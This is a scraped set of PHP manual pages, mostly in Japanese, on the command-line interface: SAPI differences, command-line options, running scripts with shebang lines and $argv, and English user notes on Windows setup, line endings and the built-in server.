I modified the PATHEXT environment variable in Windows XP, from the " 'system' control panel applet->'Advanced' tab->'Environment Variables' button-> 'System variables' text area".

Then from control panel "Folder Options" applet-> 'File Types' tab, I added a new file extention (php3), using the button 'New'  and typing php3 in the window that pops up.

Then in the 'Details for php3 extention' area I used the 'Change' button to look for the Php.exe executable so that the php3 file extentions are associated with the php executable.

You have to modify also the 'PATH' environment variable, pointing to the folder where the php executable is installed

Hope this is useful to somebody
obfuscated at emailaddress dot com 25-Feb-2005 08:15
This posting is not a php-only problem, but hopefully will save someone a few hours of headaches.  Running on MacOS (although this could happen on any *nix I suppose), I was unable to get the script to execute without specifically envoking php from the command line:

[macg4:valencia/jobs] tim% test.php
./test.php: Command not found.

However, it worked just fine when php was envoked on the command line:

[macg4:valencia/jobs] tim% php test.php
Well, here we are...  Now what?

Was file access mode set for executable?  Yup.

[macg4:valencia/jobs] tim% ls -l
total 16
-rwxr-xr-x  1 tim  staff   242 Feb 24 17:23 test.php

And you did, of course, remember to add the php command as the first line of your script, yeah?  Of course.

#!/usr/bin/php
<?php print "Well, here we are...  Now what?\n"; ?>

So why dudn't it work?  Well, like I said... on a Mac.... but I also occasionally edit the files on my Windows portable (i.e. when I'm travelling and don't have my trusty Mac available)...  Using, say, WordPad on Windows... and BBEdit on the Mac...

Aaahhh... in BBEdit check how the file is being saved!  Mac?  Unix?  or Dos?  Bingo.  It had been saved as Dos format.  Change it to Unix:

[macg4:valencia/jobs] tim% ./test.php
Well, here we are...  Now what?
[macg4:valencia/jobs] tim%

NB: If you're editing your php files on multiple platforms (i.e. Windows and Linux), make sure you double check the files are saved in a Unix format...  those \r's and \n's 'll bite cha!
linn at backendmedia dot com 06-Feb-2004 06:12
For those of you who want the old CGI behaviour that changes to the actual directory of the script use:
chdir(dirname($_SERVER['argv'][0]));

at the beginning of your scripts.
ben at slax0rnet dot com 02-Feb-2004 07:34
Just a note for people trying to use interactive mode from the commandline.

The purpose of interactive mode is to parse code snippits without actually leaving php, and it works like this:

[root@localhost php-4.3.4]# php -a
Interactive mode enabled

<?php echo "hi!"; ?>
<note, here we would press CTRL-D to parse everything we've entered so far>
hi!
<?php exit(); ?>
<ctrl-d here again>
[root@localhost php-4.3.4]#

I noticed this somehow got ommited from the docs, hope it helps someone!
Adam, php(at)getwebspace.com 17-Jun-2003 04:12
Ok, I've had a heck of a time with PHP > 4.3.x and whether to use CLI vs CGI. The CGI version of 4.3.2 would return (in browser):
---
No input file specified.
---

And the CLI version would return:
---
500 Internal Server Error
---

It appears that in CGI mode, PHP looks at the environment variable PATH_TRANSLATED to determine the script to execute and ignores command line. That is why in the absensce of this environment variable, you get "No input file specified." However, in CLI mode the HTTP headers are not printed. I believe this is intended behavior for both situations but creates a problem when you have a CGI wrapper that sends environment variables but passes the actual script name on the command line.

By modifying my CGI wrapper to create this PATH_TRANSLATED environment variable, it solved my problem, and I was able to run the CGI build of 4.3.2
monte at ispi dot net 04-Jun-2003 03:47
I had a problem with the $argv values getting split up when they contained plus (+) signs. Be sure to use the CLI version, not CGI to get around it.

Monte
Popeye at P-t-B dot com 18-Apr-2003 08:15
In *nix systems, use the WHICH command to show the location of the php binary executable. This is the path to use as the first line in your php shell script file. (#!/path/to/php -q) And execute php from the command line with the -v switch to see what version you are running.

example:

# which php
/usr/local/bin/php
# php -v
PHP 4.3.1 (cli) (built: Mar 27 2003 14:41:51)
Copyright (c) 1997-2002 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2002 Zend Technologies

In the above example, you would use: #!/usr/local/bin/php

Also note that, if you do not have the current/default directory in your PATH (.), you will have to use ./scriptfilename to execute your script file from the command line (or you will receive a "command not found" error). Use the ENV command to show your PATH environment variable value.
volkany at celiknet dot com 20-Feb-2003 01:44
Here goes a very simple clrscr function for newbies...
function clrscr() { system("clear"); }
Alexander Plakidin 14-Feb-2003 05:34
How to change current directory in PHP script to script's directory when running it from command line using PHP 4.3.0?
(you'll probably need to add this to older scripts when running them under PHP 4.3.0 for backwards compatibility)

Here's what I am using:
chdir(preg_replace('/\\/[^\\/]+$/',"",$PHP_SELF));

Note: documentation says that "PHP_SELF" is not available in command-line PHP scripts. Though, it IS available. Probably this will be changed in future version, so don't rely on this line of code...

Use $_SERVER['PHP_SELF'] instead of just $PHP_SELF if you have register_globals=Off
phpnotes at ssilk dot de 22-Oct-2002 03:36
To hand over the GET-variables in interactive mode like in HTTP-Mode (e.g. your URI is myprog.html?hugo=bla&bla=hugo), you have to call

php myprog.html '&hugo=bla&bla=hugo'

(two & instead of ? and &!)

There just a little difference in the $ARGC, $ARGV values, but I think this is in those cases not relevant.
jeff at noSpam[] dot genhex dot net 06-Sep-2002 05:13
You can also call the script from the command line after chmod'ing the file (ie: chmod 755 file.php).

On your first line of the file, enter "#!/usr/bin/php" (or to wherever your php executable is located).  If you want to suppress the PHP headers, use the line of "#!/usr/bin/php -q" for your path.
pyxl at jerrell dot com 18-Feb-2002 11:52
Assuming --prefix=/usr/local/php, it's better to create a symlink from /usr/bin/php or /usr/local/bin/php to target /usr/local/php/bin/php so that it's both in your path and automatically correct every time you rebuild.  If you forgot to do that copy of the binary after a rebuild, you can do all kinds of wild goose chasing when things break.


はじめに

CLI SAPI の主な目的は、シェルアプリケーションを PHP で開発することです。CLI SAPI とその他の SAPI の間にはちょっとした違いがあり、 それを本章で説明します。CLI と CGI は多くの共通点がありますが、別の SAPI であるということも覚えておきましょう。

CLI SAPI は、 --enable-cli でデフォルトで有効となっています。 ./configure の際に --disable-cli オプションを指定して無効にすることもできます。

CLI/CGI バイナリの名前、位置、そして存在するかどうかは PHP がどのようにインストールされているかによって異なります。デフォルトで make を実行したときには、CGI と CLI が両方ビルドされて、それぞれ PHP ソースディレクトリの sapi/cgi/php-cgi と sapi/cli/php にできあがります。 両方とも php という名前であることに注意しましょう。 make install のときにどうなるかは、configure 行に依存します。 configure で例えば apxs のような SAPI モジュールが選択された場合、または --disable-cgi が指定された場合、 make install によって CLI が {PREFIX}/bin/php にコピーされます。さもなければ CGI がそこにコピーされます。 つまり、たとえば configure で --with-apxs を指定すると、make install での CLI のコピー先は {PREFIX}/bin/php となります。 既にインストールされている CGI バイナリを上書きしたい場合には、 make install の後に make install-cli を実行してください。あるいは configure で --disable-cgi を指定することもできます。

注意:

--enable-cli と --enable-cgi の両方がデフォルトで有効になっています。そのため、configure で --enable-cli を指定したからといって、make install で {PREFIX}/bin/php にコピーされるのが必ずしも CLI になるとは限りません。

PHP 5 以降、Windows 版の CLI はメインフォルダ内で php.exe という名前で配布されます。CGI バージョンは、php-cgi.exe として配布されます。さらに PHP 5 では、configure で --enable-cli-win32 を指定すると、新しく php-win.exe というファイルが配布されます。 これは CLI バージョンとほぼ同じですが、何も出力しないため、コンソールを必要としません。

注意: 自分の SAPI は何か?

シェルで php -v をタイプすると、 php が CGI なのか CLI なのかわかります。 php_sapi_name() と定数 PHP_SAPI も参照してください。

注意:

Unix の man ページは、 シェル環境から man php とすれば見ることができます。

User Contributed Notes

Anonymous 16-Jan-2021 09:54
SAPI = Server Application Programming Interface
CGI = Common Gateway Interface


他の SAPI との違い

CLI SAPI を他の SAPI と比べた時の 大きな違いを以下に示します。

  • CGI SAPI と異なり、ヘッダが出力されません。

    CGI SAPI は HTTP ヘッダの出力を抑制する機能を 提供していますが、等価な機能は CLI SAPI ではサポートされていません。

    デフォルトでは CLI は静寂モードで起動されます。古い CGI スクリプトと互換性を 保って使えるように -q および --no-header スイッチが残されています。

    作業ディレクトリをスクリプトの場所に変更しません (-C および --no-chdir スイッチは 互換性のために残されています)。

    エラーメッセージはプレーンテキスト (HTML フォーマットはしない) で表示されます。

  • 以下に示すいくつかの php.ini ディレクティブは、CLI SAPI により上書きされます。これは、シェル環境では意味がないためです。

    上書きされる php.ini のディレクティブ
    ディレクティブ | CLI SAPI のデフォルト値 | コメント
    html_errors | false | エラーメッセージに含まれる HTML タグは シェル上では意味がなく、可読性をかなり低下させるため、この ディレクティブはデフォルトで false となっています。
    implicit_flush | true | print, echo および 関連するものによる全ての出力は、直ちに出力され、バッファに キャッシュされないことが望ましいと言えます。この場合でも、 標準出力を保留または操作したい場合には、 出力バッファリング を使用することが可能です。
    max_execution_time | 0 (無制限) | シェル環境では、PHP を際限なく使用できる ようにするために、最大実行時間の制限は無しに設定されています。 Web 用アプリケーションは数秒単位で実行されるよう作られて いますが、シェルアプリケーションの実行時間は、これよりかなり 長くなる傾向があります。
    register_argc_argv true

    この設定が true なので、CLI SAPI では常に argc (アプリケーションに渡した引数の数) および argv (実際の引数の配列) を使うことができます。

    CLI SAPI を使用するときに PHP の $argc 変数と $argv 変数が登録され、適切な値がセットされます。 あるいは $_SERVER や $_SERVER['argv'] を使うこともできます。

    output_buffering false

    php.ini で false とハードコードされていても、 出力バッファリング 関数は使用可能です。

    max_input_time false

    PHP CLI は GET、POST あるいはファイルのアップロードをサポートしません。

    注意:

    これらのディレクティブは、設定ファイル php.ini またはカスタム 設定ファイル(指定した場合のみ)で他の値に初期化できません。 この制限は、これらのデフォルト値が全ての設定ファイルをパースした後に 適用されるためです。しかし、これらの値は実行時に変更することが 可能です (上記のディレクティブの全てについてこれが当てはまるわけでは ありません。例えば、register_argc_argv)。

    注意:

    コマンドラインのスクリプトでは ignore_user_abort を設定することを推奨します。詳細は ignore_user_abort() を参照ください。

  • シェル環境での利便性を考慮して、 I/O ストリーム 用に多くの定数が定義されています。

  • CLI SAPI は、カレントディレクトリをスクリプトのディレクトリに変更 しません!

    例1 CGI SAPI との違いを示す例

    <?php
    // test.php という名前のシンプルなテストアプリケーション
    echo getcwd(), "\n";
    ?>

    CGI 版を使った場合、出力は以下のようになります。

    $ pwd
/tmp

$ php -q another_directory/test.php
/tmp/another_directory

    これは、PHP がカレントディレクトリを スクリプトのディレクトリに変更することを明らかに示しています。

    CLI SAPI を使った場合はこのようになります。

    $ pwd
/tmp

$ php -f another_directory/test.php
/tmp

    これにより、PHP でシェルツールを書く際の柔軟性をより大きくすることができます。

    注意:

    CGI SAPI は、この CLI SAPI の動作をコマンドライン実行時のスイッチ -C によりサポートしています。

User Contributed Notes

There are no user contributed notes for this page.


コマンドラインオプション

PHP バイナリにより提供されるコマンドラインオプションの一覧は、 -h スイッチを指定して PHP を実行することにより いつでも調べることができます。

Usage: php [options] [-f] <file> [--] [args...]
   php [options] -r <code> [--] [args...]
   php [options] [-B <begin_code>] -R <code> [-E <end_code>] [--] [args...]
   php [options] [-B <begin_code>] -F <file> [-E <end_code>] [--] [args...]
   php [options] -- [args...]
   php [options] -a

  -a               Run interactively
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse and execute <file>.
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -r <code>        Run PHP <code> without using script tags <?..?>
  -B <begin_code>  Run PHP <begin_code> before processing input lines
  -R <code>        Run PHP <code> for every input line
  -F <file>        Parse and execute <file> for every input line
  -E <end_code>    Run PHP <end_code> after processing all input lines
  -H               Hide any passed arguments from external tools.
  -S <addr>:<port> Run with built-in web server.
  -t <docroot>     Specify document root <docroot> for built-in web server.
  -s               Output HTML syntax highlighted source.
  -v               Version number
  -w               Output source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.

  args...          Arguments passed to script. Use -- args when first argument
                   starts with - or script is read from stdin

  --ini            Show configuration file names

  --rf <name>      Show information about function <name>.
  --rc <name>      Show information about class <name>.
  --re <name>      Show information about extension <name>.
  --rz <name>      Show information about Zend extension <name>.
  --ri <name>      Show configuration for extension <name>.

コマンドラインオプション
オプション | 長い形式のオプション | 説明
-a --interactive

PHP を対話的に実行します。詳細な情報は、対話シェル を参照ください。

-b --bindpath

外部 FASTCGI サーバーモードでのバインドパス (CGI のみ)。

-C --no-chdir

スクリプトのディレクトリへ chdir しません (CGI のみ)。

-q --no-header

静寂モード。HTTP ヘッダの出力を抑制します (CGI のみ)。

-T --timing

スクリプトを count 回繰り返して実行した時間を計測します (CGI のみ)。

-c --php-ini

このオプションを使用することにより、php.ini を探すディレクトリを 指定したり、カスタマイズされた INI ファイル (php.ini という名前である必要はありません)を直接指定する ことが可能です。例：

$ php -c /custom/directory/ my_script.php

$ php -c /custom/directory/custom-file.ini my_script.php

このオプションを指定しない場合、ファイルは、 デフォルトの位置 で探索されます。

-n --no-php-ini

php.ini を完全に無視します。

-d --define

このオプションにより php.ini で指定できる設定ディレクティブに カスタム値を設定することができます。構文は以下のようになります。

 -d configuration_directive[=value]

# 値の部分を省略すると、設定ディレクティブに"1"を指定します
$ php -d max_execution_time
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(1) "1"

# 空の値を渡すと設定ディレクティブに""を設定します
php -d max_execution_time=
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(0) ""

# 設定ディレクティブは文字'='の後に指定したものを設定します
$  php -d max_execution_time=20
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(2) "20"
$  php
        -d max_execution_time=doesntmakesense
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(15) "doesntmakesense"

-e --profile-info

デバッガ/プロファイラ用の拡張情報を出力します。

-f --file

-f オプションに指定したファイル名をパースし、 実行します。このスイッチはオプションで省略することもできます。 実行するスクリプトを指定するだけで充分です。

注意:

引数をスクリプトに渡すには、最初の引数を -- としなければなりません。 そうしないと、PHP は渡された内容を PHP のオプションとみなしてしまいます。

-h and -? | --help and --usage | このオプションを使用すると、実際の一連のコマンドラインオプションと 各1行の説明が情報を取得できます。
-i | --info | このコマンドラインオプションは、phpinfo() をコールし、 結果を出力します。PHP が正しく動作していない場合、 php -i を実行し、情報テーブルの前または中に 出力されるエラーメッセージを調べることをお勧めします。 CGI モードの場合、 出力が HTML 形式で行なわれるため 量がかなり多くなることに注意してください。
-l --syntax-check

このオプションにより、指定した PHP コードの 構文チェックのみを簡単に行なうことができます。成功した場合、 テキスト No syntax errors detected in <filename> が標準出力に書き込まれ、リターンコードは 0 となります。失敗した場合、テキスト Errors parsing <filename> に加え、内部パーサエラーメッセージ が標準出力に書き込まれ、シェルリターンコードは、 -1 となります。

このオプションは、(未定義の関数のような)致命的なエラー(fatal error) はみつけません。致命的なエラーについても調べたい場合は、 -f を使用してください。

注意:

このオプションは、オプション -r と共に使用することは できません。

-m --modules

例1 PHP に組み込まれた (そしてロードされた) Zend モジュールの表示

$ php -m
[PHP Modules]
xml
tokenizer
standard
session
posix
pcre
overload
mysql
mbstring
ctype

[Zend Modules]

-r --run

このオプションにより、コマンドラインのみで PHP の実行ができるようになります。 PHP の開始および終了タグ (<?php および ?>) は不要で、これらを付けると パーサエラーとなります。

注意:

このように PHP を実行する際に、コマンドラインの 変数がシェルにより行なわれる置換と干渉しないように注意してください。

例2 ダブルクォートの使用時に構文エラーが出る例

$ php -r "$foo = get_defined_constants();"
PHP Parse error:  syntax error, unexpected '=' in Command line code on line 1

Parse error: syntax error, unexpected '=' in Command line code on line 1

ここでの問題は、2 重引用符 " を用いた場合でも sh/bash が変数置換を行うことです。 $foo はおそらく定義されていないので、 空文字列に展開された後、実行用に PHP に そのコードが渡され、以下のように読み込むことになります。

$ php -r " = get_defined_constants();"

正しい方法は、1 重引用符'を使用することです。 1 重引用符で括られた文字列の中の変数は、sh/bash により展開されません。

例3 シングルクォートを使い、シェルの変数置換を防ぐ例

$ php -r '$foo = get_defined_constants(); var_dump($foo);'
array(370) {
  ["E_ERROR"]=>
  int(1)
  ["E_WARNING"]=>
  int(2)
  ["E_PARSE"]=>
  int(4)
  ["E_NOTICE"]=>
  int(8)
  ["E_CORE_ERROR"]=>
  [...]

sh/bash 以外のシェルを使用している場合には、別の問題を経験したことが あるかもしれません。バグを » https://bugs.php.net/ に報告してください。 シェル変数をコードに取得しようとしたり、エスケープを行なうために バックスラッシュを使用したりした場合にも、容易に問題を発生する 可能性があります。注意が必要です。

注意:

-r は CLI SAPI で有効で、 CGI SAPI では使用できません。

注意:

このオプションはあくまで基本的な機能を提供するものです。そのため、 いくつかの設定ディレクティブ（例: auto_prepend_file および auto_append_file）は このモードでは無視されます。

-B --process-begin

標準入力を処理する前に実行する PHP コードを指定します。 PHP 5 で追加されました。

-R --process-code

それぞれの入力行に対して実行する PHP コードを指定します。 PHP 5 で追加されました。

このモードには 2 つの特別な変数 $argn と $argi が用意されています。 $argn は PHP がその瞬間に処理している行を含み、 $argi はその行番号を含んでいます。

-F --process-file

全ての入力行に対して実行する PHP ファイルを指定します。 PHP 5 で追加されました。

-E --process-end

入力を処理した後に実行する PHP コードを指定します。 PHP 5 で追加されました。

例4 とあるプロジェクトの行数をカウントするための -B, -R そして -E オプションの使用例

$ find my_proj | php -B '$l=0;' -R '$l += count(@file($argn));' -E 'echo "Total Lines: $l\n";'
Total Lines: 37328

-S --server

ビルトインウェブサーバー を開始させます。PHP 5.4.0 以降で利用可能です。

-t | --docroot | ビルトインウェブサーバー のドキュメントルートを指定します。PHP 5.4.0 以降で利用可能です。
-s --syntax-highlight と --syntax-highlighting

カラー構文ハイライト表示されたソースを表示します。

このオプションは、ファイルをパースし、HTML ハイライト表示版のファイルを生成し、標準出力に書き出す内部機 構を使用します。行うのは <code> [...] </code> のブロックを 生成することだけで、HTML ヘッダは 出力されないことに注意してください。

注意:

このオプションは、-r オプションと同時に 使用することはできません。

-v --version

例5 -v による、SAPI 名および PHP と Zend のバージョンの取得

$ php -v
PHP 5.3.1 (cli) (built: Dec 11 2009 19:55:07)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2009 Zend Technologies

-w --strip

コメントと空白文字を削除してソースを表示します。

注意:

このオプションは、-r オプションと同時に 使用することはできません。

-z --zend-extension

Zend エクステンションをロードします。ファイル名のみが指定された場合、 PHP はこの拡張をカレントのシステムのデフォルトライブラリパスから ロードしようとします (Linux システムの場合は /etc/ld.so.conf で 指定されています)。 ファイル名を絶対パスで指定した場合、システムのライブラリサーチパスを 使用しません。ディレクトリ情報を有する相対ファイル名を 指定すると、PHP は カレントのディレクトリの相対パスから拡張モジュールをロードする ことのみを行ないます。

--ini

設定ファイルの名前、設定ファイルを検索するディレクトリを表示します。 PHP 5.2.3 以降で使用可能です。

例6 --ini の例

$ php --ini
Configuration File (php.ini) Path: /usr/dev/php/5.2/lib
Loaded Configuration File:         /usr/dev/php/5.2/lib/php.ini
Scan for additional .ini files in: (none)
Additional .ini files parsed:      (none)
--rf --rfunction

指定した関数あるいはクラスメソッドについての情報 (たとえばパラメータの数と名前など) を表示します。 PHP 5.1.2 以降で使用可能です。

このオプションは、PHP が リフレクション のサポートつきでコンパイルされている場合にのみ使用可能です。

例7 基本的な --rf の使用法

$ php --rf var_dump
Function [ <internal> public function var_dump ] {

  - Parameters [2] {
    Parameter #0 [ <required> $var ]
    Parameter #1 [ <optional> $... ]
  }
}
--rc --rclass

指定したクラスについての情報 (定数、プロパティおよびメソッドの一覧) を表示します。PHP 5.1.2 以降で使用可能です。

このオプションは、PHP が リフレクション のサポートつきでコンパイルされている場合にのみ使用可能です。

例8 --rc の例

$ php --rc Directory
Class [ <internal:standard> class Directory ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [0] {
  }

  - Methods [3] {
    Method [ <internal> public method close ] {
    }

    Method [ <internal> public method rewind ] {
    }

    Method [ <internal> public method read ] {
    }
  }
}
--re --rextension

指定した拡張モジュールについての情報 (php.ini オプション、 定義されている関数、定数およびクラスの一覧) を表示します。 PHP 5.1.2 以降で使用可能です。

このオプションは、PHP が リフレクション のサポートつきでコンパイルされている場合にのみ使用可能です。

例9 --re の例

$ php --re json
Extension [ <persistent> extension #19 json version 1.2.1 ] {

  - Functions {
    Function [ <internal> function json_encode ] {
    }
    Function [ <internal> function json_decode ] {
    }
  }
}
--rz --rzendextension

指定した Zend 拡張モジュールについての情報 (phpinfo() が返す情報と同じもの) を表示します。 PHP 5.4.0 以降で使用可能です。

--ri --rextinfo

指定した拡張モジュールについての設定情報 (phpinfo() が返す情報と同じもの) を表示します。 PHP 5.2.2 以降で使用可能です。コア機能に関する設定情報は、 "main" というモジュール名で取得できます。

例10 --ri の例

$ php --ri date

date

date/time support => enabled
"Olson" Timezone Database Version => 2009.20
Timezone Database => internal
Default timezone => Europe/Oslo

Directive => Local Value => Master Value
date.timezone => Europe/Oslo => Europe/Oslo
date.default_latitude => 59.930972 => 59.930972
date.default_longitude => 10.776699 => 10.776699
date.sunset_zenith => 90.583333 => 90.583333
date.sunrise_zenith => 90.583333 => 90.583333

注意:

オプション -rBRFEH、--ini および --r[fcezi] は CLI でのみ使用可能です。

User Contributed Notes

yanshinian at yeah dot net 24-Dec-2018 02:00
get ./configure

php -i |grep configure

Configure Command =>  './configure'  '--prefix=/app/webserver/php5' '--with-config-file-path=/app/webserver/php5/etc' '--with-config-file-scan-dir=/app/webserver/php5/etc/php.d' '--enable-inline-optimization' '--disable-debug' '--disable-rpath' '--enable-shared' '--enable-opcache' '--enable-fpm' '--with-fpm-user=appuser' '--with-fpm-group=appuser' '--with-mysql=mysqlnd' '--with-mysqli=mysqlnd' '--with-pdo-mysql=mysqlnd' '--with-gettext' '--enable-mbstring' '--enable-exif' '--enable-ftp' '--enable-wddx' '--with-iconv' '--with-mcrypt' '--with-mhash' '--with-openssl' '--enable-bcmath' '--enable-soap' '--with-libxml-dir' '--enable-pcntl' '--enable-shmop' '--enable-sysvmsg' '--enable-sysvsem' '--enable-sysvshm' '--enable-sockets' '--enable-gd-native-ttf' '--enable-gd-jis-conv' '--enable-calendar' '--with-curl=/app/webserver/curl' '--with-zlib' '--enable-zip' '--with-bz2' '--with-readline' '--with-gd' '--with-freetype-dir' '--with-png-dir' '--with-jpeg-dir' '--with-vpx-dir' '--with-xpm-dir' '--with-t1lib' '--disable-json'
Ap.Muthu 03-Oct-2014 03:08
If we start the php's built in webserver (PHP v5.4 onwards) with:
        php -S localhost:8000 -t htdocs
and have an image file picture.jpg in it
and reference it in a html page with:
         <img src="picture.jpg">
the rendered page will not show the image and the html code behind the image is:
        http://localhost:8000/index.php/picture.jpg

If however, the html code in the page is:
         <img src="/picture.jpg">
the picture displays correctly.

Hence relative addressing is broken in PHP 5.4.33 Win32 VC9 build.


PHP ファイルの実行

CLI SAPI は、実行する PHP コードを 取得するために三種類の異なる手段をサポートしています。

  1. PHP に特定のファイルの実行を指示する。

    $ php my_script.php

$ php -f my_script.php

    上記の方法は共に(-f スイッチの使用の如何に関らず) 指定したファイル my_script.php を実行します。 実行ファイルとしてあらゆるファイルを指定することができ、 PHP スクリプトは拡張子 .php で終わる必要がなく、任意の名前や拡張子を 使用することができます。

    注意:

    -f スイッチを使用している時にスクリプトに引数を渡したい場合は、 最初の引数として -- を渡す必要があります。

  2. 実行する PHP コードをコマンドラインで直接指定する。

    $ php -r 'print_r(get_defined_constants());'

    シェル変数の置換と引用符の使用については特に注意してください。

    注意:

    この例をよくみてください。開始/終了タグがありません! -r スイッチを使用した場合、これらのタグは不要と なります。これらのタグを使用するとパーサエラーを発生します。

  3. 実行する PHP コードを標準入力 (stdin)で指定する。

    これは強力な機能で、以下の(仮想的な)例に示すように、動的に PHP コードを生成し、実行バイナリに入力すること ができます。

    $ some_application | some_filter | php | sort -u > final_output.txt
これらのコードを実行する三種類の方法を組み合わせて使用することはできません。

他のシェルアプリケーションのように、PHP バイナリに 引数を指定することができるだけでなく、PHP スクリプトが この引数を取得することも可能です。スクリプトに指定できる 引数の数は PHP による制限を受けません (シェルは指定可能な文字数の最大値を設定しています。通常、この制限値を 越えることはできません)。スクリプトに指定した引数は、グローバル配列 $argv でアクセス可能です。 最初のインデックス (添字 0) には常に、 コマンドラインからコールしたスクリプト名が含まれています。 コマンドラインスイッチ -r を使ってインラインでコードを実行した場合は、 $argv[0] の値はダッシュ (-) となることに注意しましょう。STDIN の内容をパイプ経由で実行した場合も同じです。

登録される第 2 のグローバル変数は $argc で (スクリプトに指定された引数の数ではなく )、配列 $argv の要素数が含まれます。

スクリプトに指定する引数が文字 - で始まっていない 限り、特に留意すべきことはありません。スクリプトに指定する引数が文字 - で始まる場合、PHP 自体がこれを パースする必要があるとみなすため、問題を発生します。 これを防止するため、引数リストセパレータ -- を 使用してください。PHP にパースされる引数の後に このセパレータを置くと、その後の全ての引数はそのままパースされずに スクリプトに渡されます。

# これは、指定したコードを実行せずに PHP の使用法を示します
$ php -r 'var_dump($argv);' -h
Usage: php [options] [-f] <file> [args...]
[...]

# これは '-h' を引数として解釈し、PHP の使用法を表示しません
$ php -r 'var_dump($argv);' -- -h
array(2) {
  [0]=>
  string(1) "-"
  [1]=>
  string(2) "-h"
}

Unix システムでは、PHP をシェルスクリプトとして使用する他の手段があります。 最初の行が #!/usr/bin/php (必要に応じて、PHP CLI バイナリのパスを置き換えてください) で始まり、PHP の開始/終了タグの中に通常の PHP コードが続くスクリプトを書き、適当なファイル 実行属性を設定する(例: chmod +x test)ことが可能です。 この方法は、通常のシェル/Perl スクリプトと同様に実行することができます。

例1 シェルスクリプトとしての PHP スクリプトの実行

#!/usr/bin/php
<?php
var_dump($argv);
?>

このファイルの名前が test で、カレントディレクトリに あるとすると、以下のように実行することができます。

$ chmod +x test
$ ./test -h -- foo
array(4) {
  [0]=>
  string(6) "./test"
  [1]=>
  string(2) "-h"
  [2]=>
  string(2) "--"
  [3]=>
  string(3) "foo"
}

見て分かるように、- で始まるスクリプトのパラメータを 指定する際に、特に注意する必要はありません。

PHP 実行バイナリは、Web サーバーから完全に独立して PHP スクリプトを 実行するために使用することができます。Unix システムを使用している場合、 実行可能とするためには PHP スクリプトの先頭に特別な一行を追加する必要が あります。これにより、システムがそのスクリプトを実行するプログラムを 知ることができます。 Windows 環境では、.php ファイルのダブルクリック オプションに php.exe を関連づけることができます。 または、PHP によりスクリプトを実行するバッチファイルを作成することも 可能です。Unix 上で動作させるためにスクリプトに追加された先頭行は、 Windows 環境での動作に悪影響を与えません。このため、この手法により、 クロスプラットフォーム環境で動作するプログラムを書くことができます。 コマンドライン PHP プログラムの書方の簡単な例を以下に示します。

例2 コマンドラインから実行されることを意図したスクリプト(script.php)

#!/usr/bin/php
<?php

if ($argc != 2 || in_array($argv[1], array('--help', '-help', '-h', '-?'))) {
?>

これは、ひとつのオプションをとるコマンドラインの PHP スクリプトです。

  使用法:
  <?php echo $argv[0]; ?> <option>

  <option> は出力したい単語です。
  --help, -help, -h, あるいは -? を指定すると、
  このヘルプが表示されます。

<?php
} else {
    echo $argv[1];
}
?>

上のスクリプトでは、特殊な先頭行が用いられており、このファイルが PHP により実行されることを示しています。ここでは CLI 版を使用しているため、 HTTP ヘッダは出力されません。PHP で コマンドラインアプリケーションを使用する際には、2 つの変数 $argc および $argv を使用することが できます。 最初の変数は、引数の数に 1 (実行中のスクリプトの名前)を加えたものです。 2 番目の変数は、引数を保持する配列で、スクリプト名を有する 要素 0 ($argv[0]) から始まっています。

上のプログラムでは、引数が 1 より少ないかまたは多いかを調べています。 また、引数が --help, -help, -h または -? の場合、 ヘルプメッセージを出力し、動的にスクリプト名を出力します。 他の引数を受け取った場合、これを出力します。

上のスクリプトを Unix で実行する場合、実行可能とした後、 script.php echothis または script.php -h とする必要があります。 Windows では、この処理を行なう以下のようなバッチファイルを作成することができます。

例3 コマンドライン PHP スクリプトを実行するバッチファイル(script.bat)

@echo OFF
"C:\php\php.exe" script.php %*

上のプログラムが script.php という名前であるとし、 c:\php\php.exe に CLI php.exe があるとすると、このバッチファイルは、追加オプション script.bat echothis または script.bat -h を指定して、スクリプトを実行します。

PHP のコマンドラインアプリケーションを拡張するために使用できるその他の関数については、 拡張モジュール Readline に関するドキュメントも参照してください。

Windows 環境で使用している場合、PHP の設定によって C:\php\php.exe や拡張子 .php の指定を不要にすることもできます。Micosoft Windows コマンドラインでの PHP を参照ください。

注意:

Windows では、実際に存在するユーザーアカウントの権限で PHP を実行することを推奨します。 "アカウント名とセキュリティID の間のマッピングは実行されませんでした。" というエラーのため、 ネットワークサービス経由で実行する特定の操作は失敗する場合があります

User Contributed Notes

synnus at gmail dot com 08-Aug-2018 12:46
in php.ini use auto_prepend_file="init.php"
first start script
gabriel at figdice dot org 01-Dec-2016 11:02
Regarding shebang:

In both Linux and Windows, when you execute a script in CLI with:

    php script.php

then PHP will ignore the very first line of your script if it starts with:

    #!

So, this line is not only absorbed by the kernel when the script file is executable, but it is also ignored by the PHP engine itself.

However, the engine will NOT ignore the first #! line of any included files withing your "outer" script.php.
Any "shebang" line in an included script, will result in simply outputting the line to STDOUT, just as any other text residing outside a <?php ...  ?> block.
david at frankieandshadow dot com 15-Jul-2016 10:27
A gotcha when using #!/usr/bin/php at the start of the file as noted above:

if you originally edited the file on Windows and then attempt to use it on Unix, it won't work because the #! line requires a Unix line ending. Bash gives you the following error message if it has DOS line endings:
"bash: /usr/local/bin/wpreplace.php: /usr/bin/php^M: bad interpreter: No such file or directory"

(In Emacs I used "CTRL-X ENTER f" then type "unix" and ENTER to convert)
php at richardneill dot org 01-Apr-2013 04:43
On Linux, the shebang (#!) line is parsed by the kernel into at most two parts.
For example:

1:  #!/usr/bin/php
2:  #!/usr/bin/env  php
3:  #!/usr/bin/php -n
4:  #!/usr/bin/php -ddisplay_errors=E_ALL
5:  #!/usr/bin/php -n -ddisplay_errors=E_ALL

1. is the standard way to start a script. (compare "#!/bin/bash".)

2. uses "env" to find where PHP is installed: it might be elsewhere in the $PATH, such as /usr/local/bin.

3. if you don't need to use env, you can pass ONE parameter here. For example, to ignore the system's PHP.ini, and go with the defaults, use "-n". (See "man php".)

